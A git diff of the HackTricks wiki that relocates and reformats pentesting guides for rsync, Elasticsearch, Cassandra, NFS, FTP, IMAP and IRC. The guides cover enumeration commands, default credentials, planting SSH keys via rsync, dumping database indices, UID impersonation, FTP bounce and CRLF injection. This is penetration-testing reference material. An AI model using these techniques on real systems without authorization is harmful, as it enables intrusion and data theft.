Support HackTricks and get benefits! @@ -50,5 +48,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/8333-18333-38333-18444-pentesting-bitcoin.md b/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md similarity index 100% rename from pentesting/8333-18333-38333-18444-pentesting-bitcoin.md rename to network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md diff --git a/pentesting/873-pentesting-rsync.md b/network-services-pentesting/873-pentesting-rsync.md similarity index 95% rename from pentesting/873-pentesting-rsync.md rename to network-services-pentesting/873-pentesting-rsync.md index 8c07ca90..3307ed0a 100644 --- a/pentesting/873-pentesting-rsync.md +++ b/network-services-pentesting/873-pentesting-rsync.md @@ -1,4 +1,4 @@ - +# 873 - Pentesting Rsync
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** > **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security. @@ -30,9 +29,9 @@ PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` -# Enumeration +## Enumeration -## Banner & Manual communication +### Banner & Manual communication ``` nc -vn 127.0.0.1 873 @@ -56,9 +55,9 @@ raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` -## **Enumerate shared folders** +### **Enumerate shared folders** -**An rsync module is essentially a directory share**. These modules **can optionally be protected by a password**. This options lists the available modules and, optionally, determines if the module requires a password to access**:** +**An rsync module is essentially a directory share**. These modules **can optionally be protected by a password**. This options lists the available modules and, optionally, determines if the module requires a password to access\*\*:\*\* ```bash nmap -sV --script "rsync-list-modules" -p @@ -71,9 +70,9 @@ rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 Notice that it could be configured a shared name to not be listed. So there could be something **hidden**.\ Notice that it may be some **shared names** being listed where you need some (different) **credentials** to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an _**"Access Denied"**_ message when trying to access some of those. -## [**Brute force**](../brute-force.md#rsync) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#rsync) -## Manual Rsync +### Manual Rsync Once you have the **list of modules** you have a few different options depending on the actions you want to take and whether or not authentication is required. **If authentication is not required** you can **list** a shared folder: @@ -102,7 +101,7 @@ You could also **upload** some **content** using rsync (for example, in this cas rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` -# POST +## POST Find the rsyncd configuration file: @@ -112,7 +111,6 @@ find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) Inside the config file sometimes you could find the parameter _secrets file = /path/to/file_ and this file could contains usernames and passwords allowed to authenticate to rsyncd. -
Support HackTricks and get benefits! @@ -128,5 +126,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/9000-pentesting-fastcgi.md b/network-services-pentesting/9000-pentesting-fastcgi.md similarity index 100% rename from pentesting/9000-pentesting-fastcgi.md rename to network-services-pentesting/9000-pentesting-fastcgi.md diff --git a/pentesting/9001-pentesting-hsqldb.md b/network-services-pentesting/9001-pentesting-hsqldb.md similarity index 100% rename from pentesting/9001-pentesting-hsqldb.md rename to network-services-pentesting/9001-pentesting-hsqldb.md diff --git a/pentesting/9100-pjl.md b/network-services-pentesting/9100-pjl.md similarity index 100% rename from pentesting/9100-pjl.md rename to network-services-pentesting/9100-pjl.md diff --git a/pentesting/9200-pentesting-elasticsearch.md b/network-services-pentesting/9200-pentesting-elasticsearch.md similarity index 95% rename from pentesting/9200-pentesting-elasticsearch.md rename to network-services-pentesting/9200-pentesting-elasticsearch.md index c4469bce..5891e236 100644 --- a/pentesting/9200-pentesting-elasticsearch.md +++ b/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -1,4 +1,4 @@ - +# 9200 - Pentesting Elasticsearch
@@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic information +## Basic information From the [main page](https://www.elastic.co/what-is/elasticsearch) you can find some useful descriptions: > Elasticsearch is a distributed, open source search and analytics engine for all types of data, including textual, numerical, geospatial, structured, and unstructured. Elasticsearch is built on Apache Lucene and was first released in 2010 by Elasticsearch N.V. (now known as Elastic). Known for its simple REST APIs, distributed nature, speed, and scalability, Elasticsearch is the central component of the Elastic Stack, a set of open source tools for data ingestion, enrichment, storage, analysis, and visualization. Commonly referred to as the ELK Stack (after Elasticsearch, Logstash, and Kibana), the Elastic Stack now includes a rich collection of lightweight shipping agents known as Beats for sending data to Elasticsearch. -## What is an Elasticsearch index? +### What is an Elasticsearch index? An Elasticsearch _index_ **is a collection of documents** that are related to each other. Elasticsearch stores data as JSON documents. Each document correlates a set of _keys_ (names of fields or properties) with their corresponding values (strings, numbers, Booleans, dates, arrays of _values_, geolocations, or other types of data). @@ -33,9 +32,9 @@ During the indexing process, Elasticsearch stores documents and builds an invert **Default port**: 9200/tcp -# Manual Enumeration +## Manual Enumeration -## Banner +### Banner The protocol used to access Elasticsearch is **HTTP**. When you access it via HTTP you will find some interesting information: `http://10.10.10.115:9200/` @@ -43,7 +42,7 @@ The protocol used to access Elasticsearch is **HTTP**. When you access it via HT If you don't see that response accessing `/` see the following section. -## Authentication +### Authentication **By default Elasticsearch doesn't have authentication enabled**, so by default you can access everything inside the database without using any credentials. @@ -60,14 +59,14 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -That will means that authentication is configured an **you need valid credentials** to obtain any info from elasticserach. Then, you can [**try to bruteforce it**](../brute-force.md#elasticsearch) (it uses HTTP basic auth, so anything that BF HTTP basic auth can be used).\ -Here you have a **list default usernames**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous_._ Older versions of Elasticsearch have the default password **changeme** for this user +That will means that authentication is configured an **you need valid credentials** to obtain any info from elasticserach. Then, you can [**try to bruteforce it**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (it uses HTTP basic auth, so anything that BF HTTP basic auth can be used).\ +Here you have a **list default usernames**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Older versions of Elasticsearch have the default password **changeme** for this user ``` curl -X GET http://user:password@IP:9200/ ``` -## Basic User Enumeration +### Basic User Enumeration ```bash #List all roles on the system: @@ -80,7 +79,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user" curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` -## Elastic Info +### Elastic Info Here are some endpoints that you can **access via GET** to **obtain** some **information** about elasticsearch: @@ -116,7 +115,7 @@ Also, if you access `/_cat` the response will contain the `/_cat/*` endpoints su In `/_security/user` (if auth enabled) you can see which user has role `superuser`. -## Indices +### Indices You can **gather all the indices** accessing `http://10.10.10.115:9200/_cat/indices?v` @@ -125,14 +124,13 @@ health status index uuid pri rep docs.count docs.deleted sto green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb - ``` To obtain **information about which kind of data is saved inside an index** you can access: `http://host:9200/` from example in this case `http://10.10.10.115:9200/bank` ![](<../.gitbook/assets/image (265).png>) -## Dump index +### Dump index If you want to **dump all the contents** of an index you can access: `http://host:9200//_search?pretty=true` like `http://10.10.10.115:9200/bank/_search?pretty=true` @@ -144,12 +142,12 @@ So, at this point you may notice that **there is a field called "total" inside " But, now that you know that **this index contains 1000 documents**, you can **dump all of them** indicating the number of entries you want to dump in the **`size`** parameter: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ _Note: If you indicate bigger number all the entries will be dumped anyway, for example you could indicate `size=9999` and it will be weird if there were more entries (but you should check)._ -## Dump all +### Dump all In order to dump all you can just go to the **same path as before but without indicating any index**`http://host:9200/_search?pretty=true` like `http://10.10.10.115:9200/_search?pretty=true`\ Remember that in this case the **default limit of 10** results will be applied. You can use the `size` parameter to dump a **bigger amount of results**. Read the previous section for more information. -## Search +### Search If you are looking for some information you can do a **raw search on all the indices** going to `http://host:9200/_search?pretty=true&q=` like in `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` @@ -161,7 +159,7 @@ _Note that the q parameter used to search content **supports regular expressions You can also use something like [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) to fuzz an elasticsearch service. -## Write permissions +### Write permissions You can check your write permissions trying to create a new document inside a new index running something like the following: @@ -185,7 +183,7 @@ And note the **automatically created properties**: ![](<../.gitbook/assets/image (269).png>) -# Automatic Enumeration +## Automatic Enumeration Some tools will obtain some of the data presented before: @@ -195,11 +193,10 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum {% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} -# Shodan +## Shodan * `port:9200 elasticsearch` -
Support HackTricks and get benefits! @@ -215,5 +212,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/cassandra.md b/network-services-pentesting/cassandra.md similarity index 94% rename from pentesting/cassandra.md rename to network-services-pentesting/cassandra.md index 65c10470..515af516 100644 --- a/pentesting/cassandra.md +++ b/network-services-pentesting/cassandra.md @@ -1,4 +1,4 @@ - +# 9042/9160 - Pentesting Cassandra
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information Apache Cassandra is a highly scalable, high-performance distributed database designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure. It is a type of NoSQL database.\ In several cases you will find **cassandra accepting any credentials** (as there aren't any configured) and you will be able to enumerate the database. @@ -30,9 +29,9 @@ PORT STATE SERVICE REASON 9160/tcp open cassandra syn-ack ``` -# Enumeration +## Enumeration -## Manual +### Manual ```bash pip install cqlsh @@ -49,7 +48,7 @@ SELECT * from logdb.user; SELECT * from configuration."config"; ``` -## Automated +### Automated There aren't much options here and nmap doesn't obtain much info @@ -57,14 +56,13 @@ There aren't much options here and nmap doesn't obtain much info nmap -sV --script cassandra-info -p ``` -## [**Brute force**](../brute-force.md#cassandra) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra) -## **Shodan** +### **Shodan** `port:9160 Cluster`\ `port:9042 "Invalid or unsupported protocol version"` -
Support HackTricks and get benefits! @@ -80,5 +78,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md similarity index 100% rename from pentesting/ipsec-ike-vpn-pentesting.md rename to network-services-pentesting/ipsec-ike-vpn-pentesting.md diff --git a/pentesting/nfs-service-pentesting.md b/network-services-pentesting/nfs-service-pentesting.md similarity index 89% rename from pentesting/nfs-service-pentesting.md rename to network-services-pentesting/nfs-service-pentesting.md index 98779341..f2fe5d5a 100644 --- a/pentesting/nfs-service-pentesting.md +++ b/network-services-pentesting/nfs-service-pentesting.md @@ -1,4 +1,4 @@ - +# 2049 - Pentesting NFS Service
@@ -16,20 +16,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** It is a client/server system that allows users to access files across a network and treat them as if they resided in a local file directory. **Default port**: 2049 -```text +``` 2049/tcp open nfs 2-3 (RPC #100003 ``` -# Enumeration +## Enumeration -## Useful nmap scripts +### Useful nmap scripts ```bash nfs-ls #List NFS exports and check permissions @@ -37,13 +36,13 @@ nfs-showmount #Like showmount -e nfs-statfs #Disk statistics and info from NFS share ``` -## Useful metasploit modules +### Useful metasploit modules ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -## Mounting +### Mounting To know **which folder** has the server **available** to mount you an ask it using: @@ -66,30 +65,30 @@ mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -# Permissions +## Permissions -If you mount a folder which contains **files or folders only accesible by some user** \(by **UID**\). You can **create** **locally** a user with that **UID** and using that **user** you will be able to **access** the file/folder. +If you mount a folder which contains **files or folders only accesible by some user** (by **UID**). You can **create** **locally** a user with that **UID** and using that **user** you will be able to **access** the file/folder. -# NSFShell +## NSFShell To easily list, mount and change UID and GID to have access to files you can use [nfsshell](https://github.com/NetDirect/nfsshell). [Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) -# Config files +## Config files -```text +``` /etc/exports /etc/lib/nfs/etab ``` -# Privilege Escalation using NFS misconfigurations +## Privilege Escalation using NFS misconfigurations -[NFS no\_root\_squash and no\_all\_squash privilege escalation](../linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) +[NFS no\_root\_squash and no\_all\_squash privilege escalation](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md) -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: NFS #Protocol Abbreviation if there is one. Port_Number: 2049 #Comma separated if there is more than one. Protocol_Description: Network File System #Protocol Abbreviation Spelled out @@ -116,8 +115,6 @@ Entry_2: Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP} ``` - -
Support HackTricks and get benefits! @@ -133,5 +130,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-264-check-point-firewall-1.md b/network-services-pentesting/pentesting-264-check-point-firewall-1.md similarity index 100% rename from pentesting/pentesting-264-check-point-firewall-1.md rename to network-services-pentesting/pentesting-264-check-point-firewall-1.md diff --git a/pentesting/pentesting-631-internet-printing-protocol-ipp.md b/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md similarity index 100% rename from pentesting/pentesting-631-internet-printing-protocol-ipp.md rename to network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md diff --git a/pentesting/pentesting-compaq-hp-insight-manager.md b/network-services-pentesting/pentesting-compaq-hp-insight-manager.md similarity index 100% rename from pentesting/pentesting-compaq-hp-insight-manager.md rename to network-services-pentesting/pentesting-compaq-hp-insight-manager.md diff --git a/pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md similarity index 100% rename from pentesting/pentesting-dns.md rename to network-services-pentesting/pentesting-dns.md diff --git a/pentesting/pentesting-finger.md b/network-services-pentesting/pentesting-finger.md similarity index 100% rename from pentesting/pentesting-finger.md rename to network-services-pentesting/pentesting-finger.md diff --git a/pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md similarity index 94% rename from pentesting/pentesting-ftp/README.md rename to network-services-pentesting/pentesting-ftp/README.md index d617c794..00b46745 100644 --- a/pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -1,4 +1,4 @@ - +# 21 - Pentesting FTP
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information The **File Transfer Protocol (FTP**) is a standard network protocol used for the transfer of computer files between a client and server on a computer network.\ It is a **plain-text** protocol that uses as **new line character `0x0d 0x0a`** so sometimes you need to **connect using `telnet`** or **`nc -C`**. @@ -29,16 +28,16 @@ PORT STATE SERVICE 21/tcp open ftp ``` -# Enumeration +## Enumeration -## Banner Grabbing +### Banner Grabbing ```bash nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -## Connect to FTP using starttls +### Connect to FTP using starttls ``` lftp @@ -50,7 +49,7 @@ Usage: login [] lftp 10.10.10.208:~> login username Password ``` -## Unauth enum +### Unauth enum You can us the commands `HELP` and `FEAT` to obtain some information of the FTP server: @@ -86,7 +85,7 @@ FEAT 211 End ``` -## Connections +### Connections In **Active FTP** the FTP **client** first **initiates** the control **connection** from its port N to FTP Servers command port – port 21. The **client** then **listens** to port **N+1** and sends the port N+1 to FTP Server. FTP **Server** then **initiates** the data **connection**, from **its port M to the port N+1** of the FTP Client. @@ -96,7 +95,7 @@ In **Passive FTP**, the client initiates the control connection from its port N Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) -## Anonymous login +### Anonymous login _anonymous : anonymous_\ _anonymous :_\ @@ -112,11 +111,11 @@ ftp >bye #exit ``` -## [Brute force](../../brute-force.md#ftp) +### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp) Here you can find a nice list with default ftp credentials: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) -## Automated +### Automated Anon login and bounce FTP checks are perform by default by nmap with **-sC** option or: @@ -124,12 +123,12 @@ Anon login and bounce FTP checks are perform by default by nmap with **-sC** opt nmap --script ftp-* -p 21 ``` -## Shodan +### Shodan * `ftp` * `port:21` -# Browser connection +## Browser connection You can connect to a FTP server using a browser (like Firefox) using a URL like: @@ -139,14 +138,14 @@ ftp://anonymous:anonymous@10.10.10.98 Note that if a **web application** is sending data controlled by a user **directly to a FTP server** you can send double URL encode `%0d%0a` (in double URL encode this is `%250d%250a`) bytes and make the **FTP server perform arbitrary actions**. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http). -# Download all files from FTP +## Download all files from FTP ```bash wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all ``` -# Some FTP commands +## Some FTP commands * `USER username` * `PASS password` @@ -160,11 +159,11 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all * `RETR /path/to/file` A passive or a port connection must be establish. Then, the FTP server will send the indicated file through that connection * `REST 6` This will indicate the server that next time it send something using `RETR` it should start in the 6th byte. * `TYPE i` Set transfer to binary -* `PASV` This will open a passive connection and will indicate the user were he can connects +* `PASV` This will open a passive connection and will indicate the user were he can connects ![](<../../.gitbook/assets/image (227).png>) -# FTPBounce attack +## FTPBounce attack Some FTP servers allow the command PORT. This command can be used to indicate to the server that you wants to connect to other FTP server at some port. Then, you can use this to scan which ports of a host are open through a FTP server. @@ -175,12 +174,12 @@ The theory is easy: 1. **Upload the request (inside a text file) to the vulnerable server.** Remember that if you want to talk with another HTTP or FTP server you need to change lines with `0x0d 0x0a` 2. **Use `REST X` to avoid sending the characters you don't want to send** (maybe to upload the request inside the file you needed to put some image header at the begging) -3. **Use `PORT`to connect to the arbitrary server and service** -4. **Use `RETR`to send the saved request to the server.** +3. **Use `PORT`to connect to the arbitrary server and service** +4. **Use `RETR`to send the saved request to the server.** Its highly probably that this **will throw an error like** _**Socket not writable**_ **because the connection doesn't last enough to send the data with `RETR`**. Suggestions to try to avoid that are: -* If you are sending an HTTP request, **put the same request one after another** until **\~0.5MB** at least. Like this: +* If you are sending an HTTP request, **put the same request one after another** until **\~0.5MB** at least. Like this: {% file src="../../.gitbook/assets/posts (1).txt" %} posts.txt @@ -191,11 +190,11 @@ posts.txt Anyway, here you have an [old example about how to abuse this to make a FTP server download a file from a different FTP server.](ftp-bounce-download-2oftp-file.md) -# Filezilla Server Vulnerability +## Filezilla Server Vulnerability **FileZilla** usually **binds** to **local** an **Administrative service** for the **FileZilla-Server** (port 14147). If you can create a **tunnel** from **your machine** to access this port, you can **connect** to **it** using a **blank password** and **create** a **new user** for the FTP service. -# Config files +## Config files ``` ftpusers @@ -203,7 +202,7 @@ ftp.conf proftpd.conf ``` -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: FTP #Protocol Abbreviation if there is one. @@ -255,10 +254,8 @@ Entry_6: Description: FTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' - ``` -
Support HackTricks and get benefits! @@ -274,5 +271,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md similarity index 100% rename from pentesting/pentesting-ftp/ftp-bounce-attack.md rename to network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md diff --git a/pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md similarity index 100% rename from pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md rename to network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md diff --git a/pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md similarity index 96% rename from pentesting/pentesting-imap.md rename to network-services-pentesting/pentesting-imap.md index 2f206498..66cd813e 100644 --- a/pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -1,4 +1,4 @@ - +# 143,993 - Pentesting IMAP
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Internet Message Access Protocol +## Internet Message Access Protocol As its name implies, IMAP allows you to **access your email messages wherever you are**; much of the time, it is accessed via the Internet. Basically, email **messages are stored on servers**. Whenever you check your inbox, your email client contacts the server to connect you with your messages. When you read an email message using IMAP, **you aren't actually downloading** or storing it on your computer; instead, you are **reading it off of the server**. As a result, it's possible to check your email from **several different devices** without missing a thing. @@ -31,14 +30,14 @@ PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` -# Banner grabbing +## Banner grabbing ```bash nc -nv 143 openssl s_client -connect :993 -quiet ``` -## NTLM Auth - Information disclosure +### NTLM Auth - Information disclosure If the server supports NTLM auth (Windows) you can obtain sensitive info (versions): @@ -53,9 +52,9 @@ root@kali: telnet example.com 143 Or **automate** this with **nmap** plugin `imap-ntlm-info.nse` -## [IMAP Bruteforce](../brute-force.md#imap) +### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap) -# Syntax +## Syntax ``` Login @@ -106,7 +105,7 @@ Logout From [here](https://donsutherland.org/crib/imap) -## Evolution +### Evolution ``` apt install evolution @@ -114,7 +113,7 @@ apt install evolution ![](<../.gitbook/assets/image (528).png>) -## CURL +### CURL Basic navigation is possible with [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), but the documentation is light on details so checking the [source](https://github.com/curl/curl/blob/master/lib/imap.c) is recommended for precise details. @@ -168,12 +167,12 @@ for m in {1..5}; do done ``` -# Shodan +## Shodan * `port:143 CAPABILITY` * `port:993 CAPABILITY` -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. @@ -205,7 +204,6 @@ Entry_3: Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit' ``` -
Support HackTricks and get benefits! @@ -221,5 +219,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-irc.md b/network-services-pentesting/pentesting-irc.md similarity index 92% rename from pentesting/pentesting-irc.md rename to network-services-pentesting/pentesting-irc.md index 40c538aa..f28d19ab 100644 --- a/pentesting/pentesting-irc.md +++ b/network-services-pentesting/pentesting-irc.md @@ -1,4 +1,4 @@ - +# 194,6667,6660-7000 - Pentesting IRC
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information IRC was **originally a plain text protocol** (although later extended), which on request was assigned port **194/TCP by IANA**. However, the de facto standard has always been to **run IRC on 6667/TCP** and nearby port numbers (for example TCP ports 6660–6669, 7000) to **avoid** having to run the IRCd software with **root privileges**. @@ -25,7 +24,7 @@ For connecting to a server it is required merely a **nickname**. Once connection ![](https://lh5.googleusercontent.com/C9AbjS9Jn4GvZJ-syptvebGU2jtI4p1UmLsmkBj3--utdFjft1B3Qfij3GDiUqxyp9wq\_mbupVdUtfW-\_rSo1W\_EPFZzCQ7iHSn7-DK3l4-BfylIHluQBNrDWxO0lxCuAMz8EkQ9oi9jwDlH6A) -It seems that overall **there are two kinds of users**: **operators** and ordinary **users**. For logging in as an **operator** it is required a **username** and a **password** (and in many occasions a particular hostname, ip and even a particular hostmask). Within operators there are different privilege levels wherein the administrator has the highest privilege. +It seems that overall **there are two kinds of users**: **operators** and ordinary **users**. For logging in as an **operator** it is required a **username** and a **password** (and in many occasions a particular hostname, ip and even a particular hostmask). Within operators there are different privilege levels wherein the administrator has the highest privilege. **Default ports:** 194, 6667, 6660-7000 @@ -34,9 +33,9 @@ PORT STATE SERVICE 6667/tcp open irc ``` -# Enumeration +## Enumeration -## Banner +### Banner IRC can support **TLS**. @@ -45,7 +44,7 @@ nc -vn openssl s_client -connect : -quiet ``` -## Manual +### Manual Here you can see how to connect and access the IRC using some **random nickname** and then enumerate some interesting info. You can learn more commands of IRC [here](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP). @@ -78,19 +77,18 @@ JOIN #Connect to a channel OPER ``` -## **Find and scan IRC services** +### **Find and scan IRC services** ```bash nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htb ``` -## [Brute Force](../brute-force.md#irc) +### [Brute Force](../generic-methodologies-and-resources/brute-force.md#irc) -## Shodan +### Shodan * `looking up your hostname` -
Support HackTricks and get benefits! @@ -106,5 +104,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md similarity index 100% rename from pentesting/pentesting-jdwp-java-debug-wire-protocol.md rename to network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md diff --git a/pentesting/pentesting-kerberos-88/README.md b/network-services-pentesting/pentesting-kerberos-88/README.md similarity index 86% rename from pentesting/pentesting-kerberos-88/README.md rename to network-services-pentesting/pentesting-kerberos-88/README.md index 55be174d..9ba80383 100644 --- a/pentesting/pentesting-kerberos-88/README.md +++ b/network-services-pentesting/pentesting-kerberos-88/README.md @@ -1,4 +1,4 @@ - +# 88tcp/udp - Pentesting Kerberos
@@ -16,38 +16,37 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
